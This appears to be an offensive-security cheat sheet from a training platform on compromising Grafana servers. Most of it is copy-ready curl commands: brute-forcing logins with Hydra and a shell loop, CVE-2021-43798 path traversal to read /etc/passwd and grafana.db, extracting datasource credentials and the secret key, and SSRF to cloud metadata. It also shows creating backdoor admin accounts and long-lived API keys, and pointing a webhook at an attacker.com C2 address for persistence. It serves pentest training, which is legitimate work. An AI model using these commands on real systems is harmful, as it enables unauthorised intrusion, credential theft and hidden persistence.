Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

Grafana

Default Port: 3000

Grafana is an open-source analytics and interactive visualization web application. It provides charts, graphs, and alerts when connected to supported data sources such as Prometheus, Elasticsearch, InfluxDB, and many others. Grafana is extremely popular in DevOps environments for monitoring infrastructure, applications, and business metrics. Misconfigurations can expose sensitive metrics, datasource credentials, and provide paths to compromise the underlying infrastructure.

Connect

Using Web Browser

The primary way to access Grafana is through its web interface.

Basic Web Access

# HTTP access
http://target.com:3000

# HTTPS access (if configured)
https://target.com:3000

Login and Dashboard Access

# Login page
http://target.com:3000/login

# Direct dashboard access
http://target.com:3000/d/dashboard-id/dashboard-name

Using Grafana API

Grafana provides a comprehensive HTTP API for automation and integration.

Basic API Access

# Check API version
curl http://target.com:3000/api/health

# Get organization info
curl http://target.com:3000/api/org

Authenticated API Access

# With authentication (API key)
curl -H "Authorization: Bearer API_KEY" http://target.com:3000/api/dashboards/home

# With basic auth
curl -u admin:password http://target.com:3000/api/admin/settings

Using Grafana CLI

If you have shell access to the Grafana server, you can use the grafana-cli tool.

Admin Operations

# Reset admin password
grafana-cli admin reset-admin-password newpassword

Plugin Management

# List plugins
grafana-cli plugins list-remote

# Install plugin
grafana-cli plugins install plugin-name

Recon

Service Detection with Nmap

Use Nmap to detect Grafana installations and identify version information:

nmap -p 3000 -sV target.com

Identify the Grafana version through various API endpoints and HTTP headers.

Get Version Information

# Get version from API
curl http://target.com:3000/api/health

# From login page
curl -s http://target.com:3000/login | grep -i "grafana"

# From HTTP headers
curl -I http://target.com:3000

Get Build Information

# Get build info (may require auth)
curl -u admin:admin http://target.com:3000/api/admin/settings

Anonymous Access Check

Grafana can be configured to allow anonymous access, which may expose sensitive dashboards.

Test Anonymous Access

# Check if anonymous access is enabled
curl http://target.com:3000/api/dashboards/home

# If returns data without auth, anonymous access is enabled

Check Configuration

# Check configuration
curl http://target.com:3000/api/org

Enumeration

Dashboard Enumeration

Dashboards contain metrics and can reveal infrastructure details, database queries, and system architecture.

List and Search Dashboards

# List all dashboards (requires auth)
curl -u admin:password http://target.com:3000/api/search

# Search for specific dashboards
curl -u admin:password "http://target.com:3000/api/search?query=database"

Get Dashboard Details

# Get dashboard details
curl -u admin:password http://target.com:3000/api/dashboards/uid/DASHBOARD_UID

# Export dashboard
curl -u admin:password http://target.com:3000/api/dashboards/uid/DASHBOARD_UID > dashboard.json

Datasource Enumeration

Datasources contain connection strings, credentials, and sensitive configuration.

List Datasources

# List all datasources
curl -u admin:password http://target.com:3000/api/datasources

# Get datasource by ID
curl -u admin:password http://target.com:3000/api/datasources/1

Extract Credentials

# Search for credentials in datasources
curl -u admin:password http://target.com:3000/api/datasources | \
jq -r '.[] | select(.password or .secureJsonData)'

# Datasources may contain:
# - Database credentials
# - API tokens
# - Connection strings
# - Internal IP addresses

User Enumeration

Understanding user accounts and their permissions helps in privilege escalation and identifying admin accounts.

Organization Users

# List all users (admin required)
curl -u admin:password http://target.com:3000/api/org/users

# Get current user
curl -u admin:password http://target.com:3000/api/user

Global User List

# List users globally (admin)
curl -u admin:password http://target.com:3000/api/users

# User permissions
curl -u admin:password http://target.com:3000/api/user/orgs

Organization and Team Enumeration

Organizations and teams control access to dashboards and datasources.

List Organizations

# List organizations
curl -u admin:password http://target.com:3000/api/orgs

# Current organization
curl -u admin:password http://target.com:3000/api/org

List Teams and Members

# Teams in organization
curl -u admin:password http://target.com:3000/api/teams/search

# Team members
curl -u admin:password http://target.com:3000/api/teams/1/members

Plugin Enumeration

Plugins can introduce vulnerabilities and provide additional attack surface.

List Installed Plugins

# List installed plugins
curl -u admin:password http://target.com:3000/api/plugins

# Get plugin details
curl -u admin:password http://target.com:3000/api/plugins/plugin-name/settings

Check Plugin Versions

# Check for vulnerable plugins
curl -u admin:password http://target.com:3000/api/plugins | jq -r '.[].info.version'

Attack Vectors

Default Credentials

Grafana's most common misconfiguration is unchanged default credentials.

Test Default Login

# Default credentials
admin:admin

# Try login via API
curl -X POST http://target.com:3000/login \
-H "Content-Type: application/json" \
-d '{"user":"admin","password":"admin"}'

Web Interface Login

# Web interface
# Navigate to http://target.com:3000/login
# Username: admin
# Password: admin

Brute Force Attack

If default credentials don't work, you can attempt brute force attacks.

Using Hydra

# Using hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form \
"/login:user=^USER^&password=^PASS^:F=Invalid username or password"

Custom Brute Force Script

# Using custom script
for pass in $(cat passwords.txt); do
response=$(curl -s -X POST http://target.com:3000/login \
-H "Content-Type: application/json" \
-d "{\"user\":\"admin\",\"password\":\"$pass\"}")
if [[ $response != *"Invalid"* ]]; then
echo "[+] Found: admin:$pass"
break
fi
done

Path Traversal (CVE-2021-43798)

Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to arbitrary file read.

Exploit Path Traversal

# Exploit path traversal
curl http://target.com:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

# Read Grafana configuration
curl http://target.com:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini

# Read datasource credentials
curl http://target.com:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db

Automated Exploitation

# Using nuclei
nuclei -u http://target.com:3000 -t cves/2021/CVE-2021-43798.yaml

SQL Injection in Data Sources

If you can create or modify datasources, you can inject SQL to access databases.

Create Malicious Datasource

# Create malicious MySQL datasource
curl -X POST http://target.com:3000/api/datasources \
-u admin:password \
-H "Content-Type: application/json" \
-d '{
"name": "Malicious DB",
"type": "mysql",
"url": "target-db:3306",
"database": "test",
"user": "root",
"secureJsonData": {
"password": "password"
}
}'

Query Through Grafana

# Query database through Grafana
# Grafana acts as a proxy to internal databases

API Key Theft

API keys provide programmatic access to Grafana and should be extracted if possible.

List and Extract API Keys

# List API keys (admin required)
curl -u admin:password http://target.com:3000/api/auth/keys

Create and Use API Keys

# Create new API key
curl -X POST http://target.com:3000/api/auth/keys \
-u admin:password \
-H "Content-Type: application/json" \
-d '{"name":"backdoor","role":"Admin"}'

# Use API key
curl -H "Authorization: Bearer API_KEY" http://target.com:3000/api/datasources

Post-Exploitation

Datasource Credential Extraction

Extracting datasource credentials provides access to backend databases and services.

Extract via API

# Get all datasources with credentials
curl -u admin:password http://target.com:3000/api/datasources | jq .

Extract from Database

# Extract from grafana.db (if you have file access)
sqlite3 /var/lib/grafana/grafana.db "SELECT * FROM data_source;"

# Passwords are encrypted, but key is in grafana.ini
cat /etc/grafana/grafana.ini | grep secret_key

# Decrypt passwords (if you have the secret key)
# Grafana uses AES-256-CFB encryption

SSRF via Datasources

Grafana datasources can be abused to perform SSRF attacks against internal services.

Create Internal Datasource

# Create datasource pointing to internal service
curl -X POST http://target.com:3000/api/datasources \
-u admin:password \
-H "Content-Type: application/json" \
-d '{
"name": "Internal Service",
"type": "prometheus",
"url": "http://internal-service:9090",
"access": "proxy"
}'

Access Cloud Metadata

# Query internal service through Grafana
# Access cloud metadata
curl -X POST http://target.com:3000/api/datasources \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}'

Privilege Escalation

If you have viewer access, you can escalate to admin through various methods.

Create Admin User

# Create admin user (if you're already admin)
curl -X POST http://target.com:3000/api/admin/users \
-u admin:password \
-H "Content-Type: application/json" \
-d '{"name":"backdoor","login":"backdoor","password":"P@ssw0rd123!","role":"Admin"}'

Promote Existing Users

# Promote existing user to admin
curl -X PATCH http://target.com:3000/api/org/users/USER_ID \
-u admin:password \
-H "Content-Type: application/json" \
-d '{"role":"Admin"}'

Persistence

Establishing persistent access to Grafana.

Create Backdoor Accounts

# Create backdoor admin account
curl -X POST http://target.com:3000/api/admin/users \
-u admin:password \
-H "Content-Type: application/json" \
-d '{
"name":"System Monitor",
"login":"sysmon",
"password":"ComplexP@ss123!",
"role":"Admin"
}'

Create API Keys and Webhooks

# Create API key with admin role
curl -X POST http://target.com:3000/api/auth/keys \
-u admin:password \
-H "Content-Type: application/json" \
-d '{"name":"backup","role":"Admin","secondsToLive":31536000}'

# Create webhook notification channel for C2
curl -X POST http://target.com:3000/api/alert-notifications \
-u admin:password \
-H "Content-Type: application/json" \
-d '{
"name":"monitoring",
"type":"webhook",
"settings":{"url":"http://attacker.com/c2"}
}'

Data Exfiltration

Grafana dashboards and datasources can reveal sensitive infrastructure information.

Export Dashboards and Datasources

# Export all dashboards
for uid in $(curl -s -u admin:password http://target.com:3000/api/search | jq -r '.[].uid'); do
curl -u admin:password http://target.com:3000/api/dashboards/uid/$uid > dashboard_$uid.json
done

# Export all datasources (contains credentials)
curl -u admin:password http://target.com:3000/api/datasources > datasources.json

Export Users and Settings

# Export users
curl -u admin:password http://target.com:3000/api/org/users > users.json

# Export organization settings
curl -u admin:password http://target.com:3000/api/org > org_settings.json

# Backup entire Grafana database
# If you have file access
cp /var/lib/grafana/grafana.db /tmp/stolen.db

Common Grafana API Endpoints

EndpointMethodDescriptionAuth Required
/api/healthGETHealth checkNo
/api/loginPOSTLoginNo
/api/dashboards/homeGETHome dashboardYes
/api/searchGETSearch dashboardsYes
/api/datasourcesGETList datasourcesAdmin
/api/usersGETList usersAdmin
/api/org/usersGETOrg usersAdmin
/api/auth/keysGETList API keysAdmin
/api/admin/settingsGETSettingsAdmin

Grafana Default Paths

PathDescriptionSensitive
/etc/grafana/grafana.iniConfiguration fileYes - secret_key
/var/lib/grafana/grafana.dbSQLite databaseYes - all data
/var/lib/grafana/plugins/Plugin directoryMaybe
/var/log/grafana/Log filesYes - errors, queries
/usr/share/grafana/Installation dirNo

Useful Tools

ToolDescriptionPrimary Use Case
curlHTTP clientAPI interaction
Burp SuiteWeb proxyRequest manipulation
nucleiVulnerability scannerCVE detection
Grafana CLIManagement toolAdmin operations
jqJSON processorAPI response parsing
grafana-backupBackup toolData extraction

Security Misconfigurations

  • ❌ Default credentials (admin:admin)
  • ❌ Anonymous access enabled
  • ❌ No authentication required
  • ❌ Weak admin passwords
  • ❌ API keys with excessive permissions
  • ❌ Exposed to internet without firewall
  • ❌ Outdated Grafana version (CVE vulnerable)
  • ❌ Datasource credentials in plaintext
  • ❌ No rate limiting on login
  • ❌ Signup enabled for anyone
  • ❌ Viewer role can access sensitive data
  • ❌ No audit logging
  • ❌ Plugins from untrusted sources
  • ❌ secret_key not changed from default

Common Grafana CVEs

CVEVersion AffectedDescriptionSeverity
CVE-2021-437988.0.0-8.3.0Arbitrary file readCritical
CVE-2021-43813<8.3.1Directory traversalHigh
CVE-2021-39226<8.1.6Snapshot authentication bypassHigh
CVE-2020-13379<7.0.2SSRF via datasourceHigh
CVE-2019-15043<6.3.4Authentication bypassCritical